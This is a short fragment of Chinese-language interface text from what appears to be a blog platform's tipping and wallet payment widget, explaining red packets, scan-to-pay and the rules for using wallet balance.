领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值